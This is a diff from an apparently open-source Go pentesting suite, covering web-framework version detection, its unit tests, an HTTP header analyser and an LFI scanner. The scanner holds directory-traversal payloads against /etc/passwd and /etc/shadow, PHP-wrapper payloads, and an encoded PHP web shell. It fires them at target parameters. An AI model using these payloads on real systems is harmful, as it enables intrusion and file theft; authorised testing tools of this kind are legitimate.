{`"next":\s*"[~^]?(\d{1,2}\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"Nuxt.js": {
{`Nuxt[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"nuxt":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"Vue.js": {
{`Vue\.js[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"vue":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
{`vue@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
},
"Angular": {
{`ng-version="(\d+\.\d+(?:\.\d+)?)"`, 0.95, "ng-version attribute"},
{`Angular[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"@angular/core":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"React": {
{`React[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"react":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
{`react@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
},
"Svelte": {
{`Svelte[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"svelte":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"SvelteKit": {
{`"@sveltejs/kit":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"WordPress": {
{`<meta name="generator" content="WordPress (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
{`WordPress (\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Drupal": {
{`Drupal[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`<meta name="Generator" content="Drupal (\d+)`, 0.9, "generator meta"},
},
"Joomla": {
{`Joomla[!/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`<meta name="generator" content="Joomla! - Open Source Content Management - Version (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
},
"Magento": {
{`Magento[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Shopify": {
{`Shopify\.theme.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "theme version"},
},
"Symfony": {
{`Symfony[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"FastAPI": {
{`FastAPI[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Gin": {
{`Gin[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Phoenix": {
{`Phoenix[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Ember.js": {
{`Ember[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Backbone.js": {
{`Backbone[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Meteor": {
{`Meteor[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Ghost": {
{`Ghost[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
}
patterns, exists := versionPatterns[framework]
if !exists {
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
}
var bestMatch VersionMatch
for _, p := range patterns {
re := regexp.MustCompile(p.pattern)
matches := re.FindStringSubmatch(body)
if len(matches) > 1 && p.confidence > bestMatch.Confidence {
candidate := matches[1]
// validate version looks reasonable
if isValidVersion(candidate) {
bestMatch = VersionMatch{
Version: candidate,
Confidence: p.confidence,
Source: p.source,
}
}
}
}
if bestMatch.Version == "" {
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
}
return bestMatch
}
+538
View File
@@ -0,0 +1,538 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package frameworks
import (
"net/http"
"net/http/httptest"
"testing"
"time"
)
func TestContainsHeader_HeaderName(t *testing.T) {
headers := http.Header{
"X-Powered-By": []string{"Express"},
"Content-Type": []string{"text/html"},
}
if !containsHeader(headers, "x-powered-by") {
t.Error("expected to find x-powered-by in header names")
}
if !containsHeader(headers, "X-POWERED-BY") {
t.Error("expected case-insensitive match for header names")
}
}
func TestContainsHeader_HeaderValue(t *testing.T) {
headers := http.Header{
"X-Powered-By": []string{"Express"},
"Set-Cookie": []string{"laravel_session=abc123"},
}
if !containsHeader(headers, "express") {
t.Error("expected to find 'express' in header values")
}
if !containsHeader(headers, "laravel_session") {
t.Error("expected to find 'laravel_session' in header values")
}
}
func TestContainsHeader_NotFound(t *testing.T) {
headers := http.Header{
"Content-Type": []string{"text/html"},
}
if containsHeader(headers, "django") {
t.Error("expected not to find 'django' in headers")
}
}
func TestExtractVersion_Laravel(t *testing.T) {
tests := []struct {
body string
expected string
}{
{"Laravel 8.0.0", "8.0.0"},
{"Laravel v9.52.1", "9.52.1"},
{"Laravel 10.0", "10.0"},
{"no version here", "unknown"},
}
for _, tt := range tests {
result := extractVersion(tt.body, "Laravel")
if result != tt.expected {
t.Errorf("extractVersion(%q, 'Laravel') = %q, want %q", tt.body, result, tt.expected)
}
}
}
func TestExtractVersion_Django(t *testing.T) {
tests := []struct {
body string
expected string
}{
{"Django 4.2.0", "4.2.0"},
{"Django/3.2.1", "3.2.1"},
{"no version", "unknown"},
}
for _, tt := range tests {
result := extractVersion(tt.body, "Django")
if result != tt.expected {
t.Errorf("extractVersion(%q, 'Django') = %q, want %q", tt.body, result, tt.expected)
}
}
}
func TestExtractVersion_NextJS(t *testing.T) {
tests := []struct {
body string
expected string
}{
{"Next.js 13.4.0", "13.4.0"},
{"Next.js/14.0.1", "14.0.1"},
{"no version", "unknown"},
}
for _, tt := range tests {
result := extractVersion(tt.body, "Next.js")
if result != tt.expected {
t.Errorf("extractVersion(%q, 'Next.js') = %q, want %q", tt.body, result, tt.expected)
}
}
}
func TestDetectFramework_NextJS(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>Test</title></head>
<body>
<script id="__NEXT_DATA__" type="application/json">{"props":{}}</script>
<script src="/_next/static/chunks/main.js"></script>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Next.js" {
t.Errorf("expected framework 'Next.js', got '%s'", result.Name)
}
if result.Confidence <= 0 {
t.Error("expected positive confidence")
}
}
func TestDetectFramework_Express(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Powered-By", "Express")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`<!DOCTYPE html><html><body>Hello</body></html>`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Express.js" {
t.Errorf("expected framework 'Express.js', got '%s'", result.Name)
}
}
func TestDetectFramework_WordPress(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/wp-content/themes/theme/style.css">
<script src="/wp-includes/js/jquery.js"></script>
</head>
<body></body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "WordPress" {
t.Errorf("expected framework 'WordPress', got '%s'", result.Name)
}
}
func TestDetectFramework_ASPNET(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-AspNet-Version", "4.0.30319")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<body>
<input type="hidden" name="__VIEWSTATE" value="abc123">
<input type="hidden" name="__EVENTVALIDATION" value="xyz789">
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "ASP.NET" {
t.Errorf("expected framework 'ASP.NET', got '%s'", result.Name)
}
}
func TestDetectFramework_NoMatch(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`<!DOCTYPE html><html><body>Simple page</body></html>`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
// result can be nil or have low confidence for unrecognized frameworks
if result != nil && result.Confidence > 0.6 {
t.Errorf("expected low confidence or nil result for plain HTML, got %s with %.2f", result.Name, result.Confidence)
}
}
func TestGetVulnerabilities_Laravel(t *testing.T) {
cves, suggestions := getVulnerabilities("Laravel", "8.0.0")
if len(cves) == 0 {
t.Error("expected CVEs for Laravel 8.0.0")
}
if len(suggestions) == 0 {
t.Error("expected suggestions for Laravel 8.0.0")
}
}
func TestGetVulnerabilities_NoMatch(t *testing.T) {
cves, suggestions := getVulnerabilities("Unknown", "1.0.0")
if len(cves) != 0 {
t.Error("expected no CVEs for unknown framework")
}
if len(suggestions) != 0 {
t.Error("expected no suggestions for unknown framework")
}
}
func TestFrameworkResult_Fields(t *testing.T) {
result := FrameworkResult{
Name: "Laravel",
Version: "9.0.0",
Confidence: 0.85,
VersionConfidence: 0.9,
CVEs: []string{"CVE-2021-3129"},
Suggestions: []string{"Update to latest version"},
RiskLevel: "critical",
}
if result.Name != "Laravel" {
t.Errorf("expected Name 'Laravel', got '%s'", result.Name)
}
if result.Version != "9.0.0" {
t.Errorf("expected Version '9.0.0', got '%s'", result.Version)
}
if result.Confidence != 0.85 {
t.Errorf("expected Confidence 0.85, got %f", result.Confidence)
}
if result.VersionConfidence != 0.9 {
t.Errorf("expected VersionConfidence 0.9, got %f", result.VersionConfidence)
}
if len(result.CVEs) != 1 {
t.Errorf("expected 1 CVE, got %d", len(result.CVEs))
}
if len(result.Suggestions) != 1 {
t.Errorf("expected 1 suggestion, got %d", len(result.Suggestions))
}
if result.RiskLevel != "critical" {
t.Errorf("expected RiskLevel 'critical', got '%s'", result.RiskLevel)
}
}
func TestExtractVersionWithConfidence(t *testing.T) {
tests := []struct {
name string
body string
framework string
wantVer string
minConf float32
}{
{"Laravel explicit", "Laravel 8.0.0", "Laravel", "8.0.0", 0.8},
{"Angular ng-version", `<html ng-version="14.2.0">`, "Angular", "14.2.0", 0.9},
{"WordPress generator", `<meta name="generator" content="WordPress 6.1.0">`, "WordPress", "6.1.0", 0.9},
{"Vue CDN", "vue@3.2.0/dist", "Vue.js", "3.2.0", 0.7},
{"No version", "Hello World", "Laravel", "unknown", 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := extractVersionWithConfidence(tt.body, tt.framework)
if result.Version != tt.wantVer {
t.Errorf("extractVersionWithConfidence() version = %q, want %q", result.Version, tt.wantVer)
}
if result.Confidence < tt.minConf {
t.Errorf("extractVersionWithConfidence() confidence = %f, want >= %f", result.Confidence, tt.minConf)
}
})
}
}
func TestGetRiskLevel(t *testing.T) {
tests := []struct {
name string
cves []string
expected string
}{
{"no CVEs", []string{}, "low"},
{"critical", []string{"CVE-2021-3129 (critical)"}, "critical"},
{"high", []string{"CVE-2023-22795 (high)"}, "high"},
{"medium", []string{"CVE-2023-46298 (medium)"}, "medium"},
{"mixed - critical wins", []string{"CVE-2023-1 (medium)", "CVE-2021-3129 (critical)"}, "critical"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := getRiskLevel(tt.cves)
if result != tt.expected {
t.Errorf("getRiskLevel() = %q, want %q", result, tt.expected)
}
})
}
}
func TestGetVulnerabilities_Django(t *testing.T) {
cves, suggestions := getVulnerabilities("Django", "3.2.0")
if len(cves) == 0 {
t.Error("expected CVEs for Django 3.2.0")
}
if len(suggestions) == 0 {
t.Error("expected suggestions for Django 3.2.0")
}
}
func TestGetVulnerabilities_Spring(t *testing.T) {
cves, suggestions := getVulnerabilities("Spring", "5.3.0")
if len(cves) == 0 {
t.Error("expected CVEs for Spring 5.3.0 (Spring4Shell)")
}
found := false
for _, cve := range cves {
if cve == "CVE-2022-22965 (critical)" {
found = true
break
}
}
if !found {
t.Error("expected Spring4Shell CVE-2022-22965")
}
if len(suggestions) == 0 {
t.Error("expected suggestions for Spring 5.3.0")
}
}
func TestDetectFramework_Vue(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>Vue App</title></head>
<body>
<div id="app" data-v-12345>
<div v-cloak>Loading...</div>
</div>
<script src="https://unpkg.com/vue@3.2.0/dist/vue.global.js"></script>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Vue.js" {
t.Errorf("expected framework 'Vue.js', got '%s'", result.Name)
}
}
func TestDetectFramework_Angular(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html ng-version="15.0.0">
<head><title>Angular App</title></head>
<body>
<app-root _nghost-abc-c123 _ngcontent-abc-c123></app-root>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Angular" {
t.Errorf("expected framework 'Angular', got '%s'", result.Name)
}
}
func TestDetectFramework_React(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>React App</title></head>
<body>
<div id="root" data-reactroot="">Content</div>
<script src="/static/js/react-dom.production.min.js"></script>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "React" {
t.Errorf("expected framework 'React', got '%s'", result.Name)
}
}
func TestDetectFramework_Svelte(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>Svelte App</title></head>
<body>
<div id="app" class="__svelte-123">
<span class="svelte-abc123">Content</span>
</div>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Svelte" {
t.Errorf("expected framework 'Svelte', got '%s'", result.Name)
}
}
func TestDetectFramework_Joomla(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head>
<meta name="generator" content="Joomla! - Open Source Content Management">
<script src="/media/jui/js/jquery.js"></script>
</head>
<body>
<div class="Joomla">Content</div>
</body>
</html>
`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Joomla" {
t.Errorf("expected framework 'Joomla', got '%s'", result.Name)
}
}
func TestCVEEntry_Fields(t *testing.T) {
entry := CVEEntry{
CVE: "CVE-2021-3129",
AffectedVersions: []string{"8.0.0", "8.0.1"},
FixedVersion: "8.4.2",
Severity: "critical",
Description: "RCE vulnerability",
Recommendations: []string{"Update immediately"},
}
if entry.CVE != "CVE-2021-3129" {
t.Errorf("expected CVE 'CVE-2021-3129', got '%s'", entry.CVE)
}
if len(entry.AffectedVersions) != 2 {
t.Errorf("expected 2 affected versions, got %d", len(entry.AffectedVersions))
}
if entry.Severity != "critical" {
t.Errorf("expected Severity 'critical', got '%s'", entry.Severity)
}
}
+12
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
+71
View File
@@ -0,0 +1,71 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"net/http"
"os"
"strings"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
type HeaderResult struct {
Name string `json:"name"`
Value string `json:"value"`
}
func Headers(url string, timeout time.Duration, logdir string) ([]HeaderResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("HTTP Header Analysis") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "HTTP Header Analysis"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
headerlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Headers 🔍",
}).With("url", url)
client := &http.Client{
Timeout: timeout,
}
resp, err := client.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
var results []HeaderResult
for name, values := range resp.Header {
for _, value := range values {
results = append(results, HeaderResult{Name: name, Value: value})
headerlog.Infof("%s: %s", styles.Highlight.Render(name), value)
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s: %s\n", name, value))
}
}
}
return results, nil
}
+12
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
/*
What we are doing is abusing a internal file in Next.js pages router called
_buildManifest.js which lists all routes and script files ever referenced in
+12
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package js
import (
+12
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
// todo: scan for storage and auth vulns
package js
+309
View File
@@ -0,0 +1,309 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"io"
"net/http"
"net/url"
"os"
"regexp"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
// LFIResult represents the results of LFI reconnaissance
type LFIResult struct {
Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"`
TestedParams int `json:"tested_params"`
TestedPayloads int `json:"tested_payloads"`
}
// LFIVulnerability represents a detected LFI vulnerability
type LFIVulnerability struct {
URL string `json:"url"`
Parameter string `json:"parameter"`
Payload string `json:"payload"`
Evidence string `json:"evidence"`
Severity string `json:"severity"`
FileIncluded string `json:"file_included,omitempty"`
}
// LFI payloads for directory traversal
var lfiPayloads = []struct {
payload string
target string
severity string
}{
// Linux/Unix paths
{"../../../../../../../etc/passwd", "/etc/passwd", "high"},
{"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"},
{"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"},
{"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"},
{"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"},
{"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"},
{"/etc/passwd", "/etc/passwd", "high"},
{"/etc/passwd%00", "/etc/passwd", "high"},
{"../../../../../../../etc/shadow", "/etc/shadow", "critical"},
{"../../../../../../../proc/self/environ", "/proc/self/environ", "high"},
{"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"},
{"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"},
{"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"},
{"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"},
// Windows paths
{"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"},
{"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"},
{"..\\..\\..\\..\\boot.ini", "boot.ini", "high"},
{"../../../../../../../boot.ini", "boot.ini", "high"},
{"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"},
// PHP wrappers
{"php://filter/convert.base64-encode/resource=index.php", "php source", "high"},
{"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"},
{"expect://id", "command execution", "critical"},
{"php://input", "php input", "high"},
{"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"},
}
// Evidence patterns for LFI detection
var lfiEvidencePatterns = []struct {
pattern *regexp.Regexp
description string
severity string
}{
{regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"},
{regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"},
{regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"},
{regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"},
{regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"},
{regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"},
{regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"},
{regexp.MustCompile(`<\?php`), "PHP source code", "high"},
{regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"},
}
// Common parameters to test
var commonLFIParams = []string{
"file", "page", "path", "include", "doc", "document",
"folder", "root", "pg", "style", "pdf", "template",
"php_path", "lang", "language", "view", "content",
"layout", "mod", "conf", "url", "dir", "show",
"name", "cat", "action", "read", "load", "open",
}
// LFI performs LFI (Local File Inclusion) reconnaissance on the target URL
func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) {
fmt.Println(styles.Separator.Render("📁 Starting " + styles.Status.Render("LFI reconnaissance") + "..."))
sanitizedURL := strings.Split(targetURL, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
lfilog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "LFI 📁",
}).With("url", targetURL)
lfilog.Infof("Starting LFI reconnaissance...")
result := &LFIResult{
Vulnerabilities: []LFIVulnerability{},
}
var mu sync.Mutex
var wg sync.WaitGroup
client := &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return http.ErrUseLastResponse
}
return nil
},
}
// parse the target URL to check for existing parameters
parsedURL, err := url.Parse(targetURL)
if err != nil {
return nil, fmt.Errorf("failed to parse URL: %w", err)
}
existingParams := parsedURL.Query()
paramsToTest := make(map[string]bool)
// add existing parameters
for param := range existingParams {
paramsToTest[param] = true
}
// add common LFI parameters
for _, param := range commonLFIParams {
paramsToTest[param] = true
}
result.TestedParams = len(paramsToTest)
result.TestedPayloads = len(lfiPayloads)
lfilog.Infof("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads))
// create work items
type workItem struct {
param string
payload struct {
payload string
target string
severity string
}
}
workItems := make([]workItem, 0, len(paramsToTest)*len(lfiPayloads))
for param := range paramsToTest {
for _, payload := range lfiPayloads {
workItems = append(workItems, workItem{param: param, payload: payload})
}
}
// distribute work
workChan := make(chan workItem, len(workItems))
for _, item := range workItems {
workChan <- item
}
close(workChan)
wg.Add(threads)
for t := 0; t < threads; t++ {
go func() {
defer wg.Done()
for item := range workChan {
// build test URL
testParams := url.Values{}
for k, v := range existingParams {
if k != item.param {
testParams[k] = v
}
}
testParams.Set(item.param, item.payload.payload)
testURL := fmt.Sprintf("%s://%s%s?%s",
parsedURL.Scheme,
parsedURL.Host,
parsedURL.Path,
testParams.Encode())
resp, err := client.Get(testURL)
if err != nil {
log.Debugf("Error testing %s: %v", testURL, err)
continue
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
resp.Body.Close()
if err != nil {
continue
}
bodyStr := string(body)
// check for evidence patterns
for _, evidence := range lfiEvidencePatterns {
if evidence.pattern.MatchString(bodyStr) {
mu.Lock()
// check for duplicates
duplicate := false
for _, v := range result.Vulnerabilities {
if v.Parameter == item.param && v.Payload == item.payload.payload {
duplicate = true
break
}
}
if !duplicate {
vuln := LFIVulnerability{
URL: testURL,
Parameter: item.param,
Payload: item.payload.payload,
Evidence: evidence.description,
Severity: item.payload.severity,
FileIncluded: item.payload.target,
}
result.Vulnerabilities = append(result.Vulnerabilities, vuln)
lfilog.Warnf("LFI vulnerability found: %s in param [%s] - %s",
styles.SeverityHigh.Render(evidence.description),
styles.Highlight.Render(item.param),
styles.Status.Render(item.payload.target))
if logdir != "" {
logger.Write(sanitizedURL, logdir,
fmt.Sprintf("LFI: %s in param [%s] via payload [%s]\n",
evidence.description, item.param, item.payload.payload))
}
}
mu.Unlock()
break
}
}
}
}()
}
wg.Wait()
// summary
if len(result.Vulnerabilities) > 0 {
lfilog.Warnf("Found %d LFI vulnerabilities", len(result.Vulnerabilities))
criticalCount := 0
highCount := 0
for _, v := range result.Vulnerabilities {
if v.Severity == "critical" {
criticalCount++
} else if v.Severity == "high" {
highCount++
}
}
